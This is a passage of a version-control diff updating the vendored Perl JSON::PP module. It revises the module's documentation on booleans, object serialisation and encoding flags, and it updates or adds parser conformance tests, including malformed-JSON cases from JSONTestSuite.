 
 Perl array references become JSON arrays.
@@ -2629,31 +2608,30 @@
 Other unblessed references are generally not allowed and will cause an
 exception to be thrown, except for references to the integers C<0> and
 C<1>, which get turned into C<false> and C<true> atoms in JSON. You can
-also use C<JSON::false> and C<JSON::true> to improve readability.
+also use C<JSON::PP::false> and C<JSON::PP::true> to improve
+readability.
 
-   to_json [\0,JSON::PP::true]      # yields [false,true]
+   to_json [\0, JSON::PP::true]      # yields [false,true]
 
-=item JSON::PP::true, JSON::PP::false, JSON::PP::null
+=item JSON::PP::true, JSON::PP::false
 
 These special values become JSON true and JSON false values,
 respectively. You can also use C<\1> and C<\0> directly if you want.
 
-JSON::PP::null returns C<undef>.
+=item JSON::PP::null
 
+This special value becomes JSON null.
+
 =item blessed objects
 
-Blessed objects are not directly representable in JSON. See the
-C<allow_blessed> and C<convert_blessed> methods on various options on
-how to deal with this: basically, you can choose between throwing an
-exception, encoding the reference as if it weren't blessed, or provide
-your own serialiser method.
+Blessed objects are not directly representable in JSON, but C<JSON::PP>
+allows various ways of handling objects. See L<OBJECT SERIALISATION>,
+below, for details.
 
-See to L<convert_blessed>.
-
 =item simple scalars
 
 Simple Perl scalars (any scalar that is not a reference) are the most
-difficult objects to encode: JSON::XS and JSON::PP will encode undefined scalars as
+difficult objects to encode: JSON::PP will encode undefined scalars as
 JSON C<null> values, scalars that have last been used in a string context
 before encoding as JSON strings, and anything else as number value:
 
@@ -2675,6 +2653,7 @@
    "$x";        # stringified
    $x .= "";    # another, more awkward way to stringify
    print $x;    # perl does it for you, too, quite often
+                # (but for older perls)
 
 You can force the type to be a number by numifying it:
 
@@ -2691,95 +2670,172 @@
 infinities or NaN's - these cannot be represented in JSON, and it is an
 error to pass those in.
 
-=item Big Number
+JSON::PP (and JSON::XS) trusts what you pass to C<encode> method
+(or C<encode_json> function) is a clean, validated data structure with
+values that can be represented as valid JSON values only, because it's
+not from an external data source (as opposed to JSON texts you pass to
+C<decode> or C<decode_json>, which JSON::PP considers tainted and
+doesn't trust). As JSON::PP doesn't know exactly what you and consumers
+of your JSON texts want the unexpected values to be (you may want to
+convert them into null, or to stringify them with or without
+normalisation (string representation of infinities/NaN may vary
+depending on platforms), or to croak without conversion), you're advised
+to do what you and your consumers need before you encode, and also not
+to numify values that may start with values that look like a number
+(including infinities/NaN), without validating.
 
-When C<allow_bignum> is enabled, 
-C<encode> converts C<Math::BigInt> objects and C<Math::BigFloat>
-objects into JSON numbers.
+=back
 
+=head2 OBJECT SERIALISATION
 
-=back
+As for Perl objects, JSON::PP only supports a pure JSON representation (without the ability to deserialise the object automatically again).
 
-=head1 UNICODE HANDLING ON PERLS
+=head3 SERIALISATION
 
-If you do not know about Unicode on Perl well,
-please check L<JSON::XS/A FEW NOTES ON UNICODE AND PERL>.
+What happens when C<JSON::PP> encounters a Perl object depends on the
+C<allow_blessed>, C<convert_blessed> and C<allow_bignum> settings, which are
+used in this order:
 
-=head2 Perl 5.8 and later
+=over 4
 
-Perl can handle Unicode and the JSON::PP de/encode methods also work properly.
+=item 1. C<convert_blessed> is enabled and the object has a C<TO_JSON> method.
 
-    $json->allow_nonref->encode(chr hex 3042);
-    $json->allow_nonref->encode(chr hex 12345);
+In this case, the C<TO_JSON> method of the object is invoked in scalar
+context. It must return a single scalar that can be directly encoded into
+JSON. This scalar replaces the object in the JSON text.
 
-Returns C<"\u3042"> and C<"\ud808\udf45"> respectively.
+For example, the following C<TO_JSON> method will convert all L<URI>
+objects to JSON strings when serialised. The fact that these values
+originally were L<URI> objects is lost.
 
-    $json->allow_nonref->decode('"\u3042"');
-    $json->allow_nonref->decode('"\ud808\udf45"');
+   sub URI::TO_JSON {
+      my ($uri) = @_;
+      $uri->as_string
+   }
 
-Returns UTF-8 encoded strings with UTF8 flag, regarded as C<U+3042> and C<U+12345>.
+=item 2. C<allow_bignum> is enabled and the object is a C<Math::BigInt> or C<Math::BigFloat>.
 
-Note that the versions from Perl 5.8.0 to 5.8.2, Perl built-in C<join> was broken,
-so JSON::PP wraps the C<join> with a subroutine. Thus JSON::PP works slow in the versions.
+The object will be serialised as a JSON number value.
 
+=item 3. C<allow_blessed> is enabled.
 
-=head2 Perl 5.6
+The object will be serialised as a JSON null value.
 
-Perl can handle Unicode and the JSON::PP de/encode methods also work.
+=item 4. none of the above
 
-=head2 Perl 5.005
+If none of the settings are enabled or the respective methods are missing,
+C<JSON::PP> throws an exception.
 
-Perl 5.005 is a byte semantics world -- all strings are sequences of bytes.
-That means the unicode handling is not available.
+=back
 
-In encoding,
+=head1 ENCODING/CODESET FLAG NOTES
 
-    $json->allow_nonref->encode(chr hex 3042);  # hex 3042 is 12354.
-    $json->allow_nonref->encode(chr hex 12345); # hex 12345 is 74565.
+This section is taken from JSON::XS.
 
-Returns C<B> and C<E>, as C<chr> takes a value more than 255, it treats
-as C<$value % 256>, so the above codes are equivalent to :
+The interested reader might have seen a number of flags that signify
+encodings or codesets - C<utf8>, C<latin1> and C<ascii>. There seems to be
+some confusion on what these do, so here is a short comparison:
 
-    $json->allow_nonref->encode(chr 66);
-    $json->allow_nonref->encode(chr 69);
+C<utf8> controls whether the JSON text created by C<encode> (and expected
+by C<decode>) is UTF-8 encoded or not, while C<latin1> and C<ascii> only
+control whether C<encode> escapes character values outside their respective
+codeset range. Neither of these flags conflict with each other, although
+some combinations make less sense than others.
 
-In decoding,
+Care has been taken to make all flags symmetrical with respect to
+C<encode> and C<decode>, that is, texts encoded with any combination of
+these flag values will be correctly decoded when the same flags are used
+- in general, if you use different flag settings while encoding vs. when
+decoding you likely have a bug somewhere.
 
-    $json->decode('"\u00e3\u0081\u0082"');
+Below comes a verbose discussion of these flags. Note that a "codeset" is
+simply an abstract set of character-codepoint pairs, while an encoding
+takes those codepoint numbers and I<encodes> them, in our case into
+octets. Unicode is (among other things) a codeset, UTF-8 is an encoding,
+and ISO-8859-1 (= latin 1) and ASCII are both codesets I<and> encodings at
+the same time, which can be confusing.
 
-The returned is a byte sequence C<0xE3 0x81 0x82> for UTF-8 encoded
-Japanese character (C<HIRAGANA LETTER A>).
-And if it is represented in Unicode code point, C<U+3042>.
+=over 4
 
-Next, 
+=item C<utf8> flag disabled
 
-    $json->decode('"\u3042"');
+When C<utf8> is disabled (the default), then C<encode>/C<decode> generate
+and expect Unicode strings, that is, characters with high ordinal Unicode
+values (> 255) will be encoded as such characters, and likewise such
+characters are decoded as-is, no changes to them will be done, except
+"(re-)interpreting" them as Unicode codepoints or Unicode characters,
+respectively (to Perl, these are the same thing in strings unless you do
+funny/weird/dumb stuff).
 
-We ordinary expect the returned value is a Unicode character C<U+3042>.
-But here is 5.005 world. This is C<0xE3 0x81 0x82>.
+This is useful when you want to do the encoding yourself (e.g. when you
+want to have UTF-16 encoded JSON texts) or when some other layer does
+the encoding for you (for example, when printing to a terminal using a
+filehandle that transparently encodes to UTF-8 you certainly do NOT want
+to UTF-8 encode your data first and have Perl encode it another time).
 
-    $json->decode('"\ud808\udf45"');
+=item C<utf8> flag enabled
 
-This is not a character C<U+12345> but bytes - C<0xf0 0x92 0x8d 0x85>.
+If the C<utf8>-flag is enabled, C<encode>/C<decode> will encode all
+characters using the corresponding UTF-8 multi-byte sequence, and will
+expect your input strings to be encoded as UTF-8, that is, no "character"
+of the input string must have any value > 255, as UTF-8 does not allow
+that.
 
+The C<utf8> flag therefore switches between two modes: disabled means you
+will get a Unicode string in Perl, enabled means you get an UTF-8 encoded
+octet/binary string in Perl.
 
-=head1 TODO
+=item C<latin1> or C<ascii> flags enabled
 
-=over
+With C<latin1> (or C<ascii>) enabled, C<encode> will escape characters
+with ordinal values > 255 (> 127 with C<ascii>) and encode the remaining
+characters as specified by the C<utf8> flag.
 
-=item speed
+If C<utf8> is disabled, then the result is also correctly encoded in those
+character sets (as both are proper subsets of Unicode, meaning that a
+Unicode string with all character values < 256 is the same thing as a
+ISO-8859-1 string, and a Unicode string with all character values < 128 is
+the same thing as an ASCII string in Perl).
 
-=item memory saving
+If C<utf8> is enabled, you still get a correct UTF-8-encoded string,
+regardless of these flags, just some more characters will be escaped using
+C<\uXXXX> then before.
 
+Note that ISO-8859-1-I<encoded> strings are not compatible with UTF-8
+encoding, while ASCII-encoded strings are. That is because the ISO-8859-1
+encoding is NOT a subset of UTF-8 (despite the ISO-8859-1 I<codeset> being
+a subset of Unicode), while ASCII is.
+
+Surprisingly, C<decode> will ignore these flags and so treat all input
+values as governed by the C<utf8> flag. If it is disabled, this allows you
+to decode ISO-8859-1- and ASCII-encoded strings, as both strict subsets of
+Unicode. If it is enabled, you can correctly decode UTF-8 encoded strings.
+
+So neither C<latin1> nor C<ascii> are incompatible with the C<utf8> flag -
+they only govern when the JSON output engine escapes a character or not.
+
+The main use for C<latin1> is to relatively efficiently store binary data
+as JSON, at the expense of breaking compatibility with most JSON decoders.
+
+The main use for C<ascii> is to force the output to not contain characters
+with values > 127, which means you can interpret the resulting string
+as UTF-8, ISO-8859-1, ASCII, KOI8-R or most about any character set and
+8-bit-encoding, and still get the same data structure back. This is useful
+when your channel for JSON transfer is not 8-bit clean or the encoding
+might be mangled in between (e.g. in mail), and works because ASCII is a
+proper subset of most 8-bit and multibyte encodings in use in the world.
+
 =back
 
-
 =head1 SEE ALSO
 
-Most of the document are copied and modified from JSON::XS doc.
+The F<json_pp> command line utility for quick experiments.
 
-L<JSON::XS>
+L<JSON::XS>, L<Cpanel::JSON::XS>, and L<JSON::Tiny> for faster alternatives.
+L<JSON> and L<JSON::MaybeXS> for easy migration.
 
+L<JSON::PP::Compat5005> and L<JSON::PP::Compat5006> for older perl users.
+
 RFC4627 (L<http://www.ietf.org/rfc/rfc4627.txt>)
 
 =head1 AUTHOR

Modified: vendor/perl/dist/cpan/JSON-PP/t/001_utf8.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/001_utf8.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/001_utf8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;

Modified: vendor/perl/dist/cpan/JSON-PP/t/002_error.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/002_error.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/002_error.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;

Modified: vendor/perl/dist/cpan/JSON-PP/t/003_types.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/003_types.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/003_types.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,8 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 use strict;
 use Test::More;
 
-BEGIN { plan tests => 76 };
+BEGIN { plan tests => 78 };
 
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
 
@@ -21,6 +21,8 @@
 ok (JSON::PP::is_bool $false);
 ok (++$false == 1);
 ok (!JSON::PP::is_bool $false);
+ok (!JSON::PP::is_bool "JSON::PP::Boolean");
+ok (!JSON::PP::is_bool {}); # GH-34
 
 ok (JSON::PP->new->allow_nonref (1)->decode ('5') == 5);
 ok (JSON::PP->new->allow_nonref (1)->decode ('-5') == -5);

Modified: vendor/perl/dist/cpan/JSON-PP/t/006_pc_pretty.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/006_pc_pretty.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/006_pc_pretty.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,6 @@
-#! perl
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
-
 use strict;
 use Test::More;
 BEGIN { plan tests => 9 };

Modified: vendor/perl/dist/cpan/JSON-PP/t/007_pc_esc.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/007_pc_esc.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/007_pc_esc.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,13 +2,13 @@
 # このファイルのエンコーディングはUTF-8
 #
 
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
 
-BEGIN { plan tests => 17 };
+BEGIN { plan tests => 18 };
 
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
 
@@ -91,3 +91,7 @@
 $obj = $pc->decode(q|{"id":"abc\\\\\ndef"}|);
 is($obj->{id},"abc\\\ndef",q|{"id":"abc\\\\\ndef"}|);
 
+$obj = {test => "\'I said\', \"She said\""};
+$str = $pc->encode($obj);
+is($str,q|{"test":"'I said', \"She said\""}|);
+

Modified: vendor/perl/dist/cpan/JSON-PP/t/008_pc_base.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/008_pc_base.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/008_pc_base.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 use Test::More;
 
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use strict;
 BEGIN { plan tests => 20 };

Modified: vendor/perl/dist/cpan/JSON-PP/t/009_pc_extra_number.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/009_pc_extra_number.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/009_pc_extra_number.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;

Modified: vendor/perl/dist/cpan/JSON-PP/t/010_pc_keysort.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/010_pc_keysort.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/010_pc_keysort.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;

Modified: vendor/perl/dist/cpan/JSON-PP/t/011_pc_expo.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/011_pc_expo.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/011_pc_expo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
@@ -22,8 +22,10 @@
 $js  = q|[-1.234e5]|;
 $obj = $pc->decode($js);
 is($obj->[0], -123400, 'digit -1.234e5');
+{ #SKIP_IF_CPANEL
 $js = $pc->encode($obj);
 is($js,'[-123400]', 'digit -1.234e5');
+}
 
 $js  = q|[1.23E-4]|;
 $obj = $pc->decode($js);

Modified: vendor/perl/dist/cpan/JSON-PP/t/012_blessed.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/012_blessed.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/012_blessed.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;

Modified: vendor/perl/dist/cpan/JSON-PP/t/014_latin1.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/014_latin1.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/014_latin1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;

Modified: vendor/perl/dist/cpan/JSON-PP/t/015_prefix.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/015_prefix.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/015_prefix.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 BEGIN { $| = 1; print "1..4\n"; }
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }

Modified: vendor/perl/dist/cpan/JSON-PP/t/016_tied.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/016_tied.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/016_tied.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;

Modified: vendor/perl/dist/cpan/JSON-PP/t/017_relaxed.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/017_relaxed.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/017_relaxed.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;

Modified: vendor/perl/dist/cpan/JSON-PP/t/018_json_checker.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/018_json_checker.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/018_json_checker.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,7 @@
-#! perl
-
 # use the testsuite from http://www.json.org/JSON_checker/
 # except for fail18.json, as we do not support a depth of 20 (but 16 and 32).
 
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use strict;
 #no warnings;
@@ -27,6 +25,9 @@
       or last;
    $/ = "\n";
    my $name = <DATA>;
+   if ($vax_float && $name =~ /pass1.json/) {
+       $test =~ s/\b23456789012E66\b/23456789012E20/;
+   }
    if (my $perl = eval { $json->decode ($test) }) {
       ok ($name =~ /^pass/, $name);
 #print $json->encode ($perl), "\n";
@@ -120,7 +121,7 @@
         "real": -9876.543210,
         "e": 0.123456789e-12,
         "E": 1.234567890E+34,
-        "":  23456789012E20,
+        "":  23456789012E66,
         "zero": 0,
         "one": 1,
         "space": " ",

Modified: vendor/perl/dist/cpan/JSON-PP/t/019_incr.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/019_incr.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/019_incr.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,5 @@
-#!/usr/bin/perl -w
+# copied over from JSON::XS and modified to use JSON::PP
 
-# copied over from JSON::PP::XS and modified to use JSON::PP
-
 use strict;
 
 use Test::More;

Modified: vendor/perl/dist/cpan/JSON-PP/t/020_unknown.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/020_unknown.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/020_unknown.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,3 @@
-#!/usr/bin/perl -w
-
 use strict;
 
 use Test::More;
@@ -42,7 +40,7 @@
 open( $fh, '>hoge.txt' ) or die $!;
 
 eval q| $json->encode( [ $fh ] ) |;
-ok( $@ =~ /encountered GLOB/, $@ );
+ok( $@ =~ /encountered GLOB|cannot encode reference to scalar/, $@ );
 
 $json->allow_unknown(1);
 

Modified: vendor/perl/dist/cpan/JSON-PP/t/021_evans_bugrep.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/021_evans_bugrep.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/021_evans_bugrep.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,7 +32,7 @@
     $j->incr_text;
 };
 
-like( $@, qr/incr_text cannot be called when the incremental parser already started parsing/ );
+like( $@, qr/incr_text can ?not be called when the incremental parser already started parsing/ );
 
 $object = $j->incr_parse($parts[1]);
 

Modified: vendor/perl/dist/cpan/JSON-PP/t/099_binary.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/099_binary.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/099_binary.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
@@ -40,7 +40,7 @@
    ok ($_[0] eq JSON::PP->new->shrink->decode ($js)->[0]);
 }
 
-srand 0; # doesn't help too much, but its at leats more deterministic
+srand 0; # doesn't help too much, but its at least more deterministic
 
 #for (1..768) {
 for (1..64, 125..129, 255..257, 512, 704, 736, 768) {

Modified: vendor/perl/dist/cpan/JSON-PP/t/110_bignum.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/110_bignum.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/110_bignum.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 
 use strict;
 use Test::More;
-BEGIN { plan tests => 6 };
+BEGIN { plan tests => 9 };
 
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
 
@@ -10,7 +10,7 @@
 eval q| require Math::BigInt |;
 
 SKIP: {
-    skip "Can't load Math::BigInt.", 6 if ($@);
+    skip "Can't load Math::BigInt.", 9 if ($@);
 
     my $v = Math::BigInt->VERSION;
     $v =~ s/_.+$// if $v;
@@ -27,15 +27,24 @@
 
 my $num  = $json->decode(q|100000000000000000000000000000000000000|);
 
-isa_ok($num, 'Math::BigInt');
+ok($num->isa('Math::BigInt'));
 is("$num", $fix . '100000000000000000000000000000000000000');
 is($json->encode($num), $fix . '100000000000000000000000000000000000000');
 
+{ #SKIP_UNLESS_PP 2.91_03, 2
+$num  = $json->decode(q|10|);
+
+ok(!(ref $num and $num->isa('Math::BigInt')), 'small integer is not a BigInt');
+ok(!(ref $num and $num->isa('Math::BigFloat')), 'small integer is not a BigFloat');
+}
+
 $num  = $json->decode(q|2.0000000000000000001|);
 
-isa_ok($num, 'Math::BigFloat');
+ok($num->isa('Math::BigFloat'));
 is("$num", '2.0000000000000000001');
 is($json->encode($num), '2.0000000000000000001');
 
-
+{ #SKIP_UNLESS_PP 2.90, 1
+is($json->encode([Math::BigInt->new("0")]), "[${fix}0]", "zero bigint is 0 (the number), not '0' (the string)" );
 }
+}

Modified: vendor/perl/dist/cpan/JSON-PP/t/113_overloaded_eq.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/113_overloaded_eq.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/113_overloaded_eq.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
 use strict;
 use Test::More tests => 4;
 

Modified: vendor/perl/dist/cpan/JSON-PP/t/114_decode_prefix.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/114_decode_prefix.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/114_decode_prefix.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
 use strict;
 use Test::More tests => 8;
 

Modified: vendor/perl/dist/cpan/JSON-PP/t/116_incr_parse_fixed.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/116_incr_parse_fixed.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/116_incr_parse_fixed.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
 use strict;
 use Test::More tests => 4;
 

Added: vendor/perl/dist/cpan/JSON-PP/t/117_numbers.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/117_numbers.t	                        (rev 0)
+++ vendor/perl/dist/cpan/JSON-PP/t/117_numbers.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,23 @@
+use Test::More;
+use strict;
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+use JSON::PP;
+
+#SKIP_ALL_UNLESS_PP 2.90
+#SKIP_ALL_IF_XS
+
+BEGIN { plan tests => 3 }
+
+# TODO ("inf"/"nan" representations are not portable)
+# is encode_json([9**9**9]), '["inf"]';
+# is encode_json([-sin(9**9**9)]), '["nan"]';
+
+my $num = 3;
+my $str = "$num";
+is encode_json({test => [$num, $str]}), '{"test":[3,"3"]}';
+$num = 3.21;
+$str = "$num";
+is encode_json({test => [$num, $str]}), '{"test":[3.21,"3.21"]}';
+$str = '0 but true';
+$num = 1 + $str;
+is encode_json({test => [$num, $str]}), '{"test":[1,"0 but true"]}';

Added: vendor/perl/dist/cpan/JSON-PP/t/gh_28_json_test_suite.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/gh_28_json_test_suite.t	                        (rev 0)
+++ vendor/perl/dist/cpan/JSON-PP/t/gh_28_json_test_suite.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,59 @@
+# the following test cases are taken from JSONTestSuite
+# by Nicolas Seriot (https://github.com/nst/JSONTestSuite)
+
+use strict;
+use Test::More;
+
+BEGIN { plan skip_all => 'this test is for Perl 5.8 or later' if $] < 5.008; }
+
+BEGIN { plan tests => 20 };
+
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+
+use JSON::PP;
+
+my $DECODER = JSON::PP->new->utf8->allow_nonref;
+
+# n_multidigit_number_then_00
+decode_should_fail(qq!123\x00!);
+
+# number_-01
+decode_should_fail(qq![-01]!);
+
+# number_neg_int_starting_with_zero
+decode_should_fail(qq![-012]!);
+
+# n_object_trailing_comment
+decode_should_fail(qq!{"a":"b"}/**/!);
+
+# n_object_trailing_comment_slash_open
+decode_should_fail(qq!{"a":"b"}//!);
+
+# n_structure_null-byte-outside-sting
+decode_should_fail(qq![\x00]!);
+
+# n_structure_object_with_comment
+decode_should_fail(qq!{"a":/*comment*/"b"}!);
+
+# n_structure_whitespace_formfeed
+decode_should_fail(qq![\0x0c]!);
+
+# y_string_utf16BE_no_BOM
+decode_should_pass(qq!\x00[\x00"\x00\xE9\x00"\x00]!);
+
+# y_string_utf16LE_no_BOM
+decode_should_pass(qq![\x00"\x00\xE9\x00"\x00]\x00!);
+
+sub decode_should_pass {
+    my $json = shift;
+    my $result = eval { $DECODER->decode($json); };
+    ok !$@, $@ || '';
+    ok defined $result;
+}
+
+sub decode_should_fail {
+    my $json = shift;
+    my $result = eval { $DECODER->decode($json); };
+    ok $@, $@ || '';
+    ok !defined $result;
+}

Added: vendor/perl/dist/cpan/JSON-PP/t/gh_29_trailing_false_value.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/gh_29_trailing_false_value.t	                        (rev 0)
+++ vendor/perl/dist/cpan/JSON-PP/t/gh_29_trailing_false_value.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,13 @@
+use strict;
+use Test::More;
+
+BEGIN { plan tests => 1 };
+
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+
+use JSON::PP;
+
+{ #SKIP_UNLESS_PP 2.90,1
+    eval { JSON::PP->new->decode('{}0') };
+    ok $@;
+}

Added: vendor/perl/dist/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t	                        (rev 0)
+++ vendor/perl/dist/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+use strict;
+use Test::More;
+BEGIN { plan tests => 4 };
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+use JSON::PP;
+
+{ #SKIP_UNLESS_PP 2.90, 1
+eval { decode_json(qq({"foo":{"bar":42})) };
+like $@ => qr/offset 17/; # 16
+}
+
+eval { decode_json(qq(["foo",{"bar":42})) };
+like $@ => qr/offset 17/;
+
+{ #SKIP_UNLESS_PP 2.90, 1
+eval { decode_json(qq(["foo",{"bar":42}"])) };
+like $@ => qr/offset 17/; # 18
+}
+
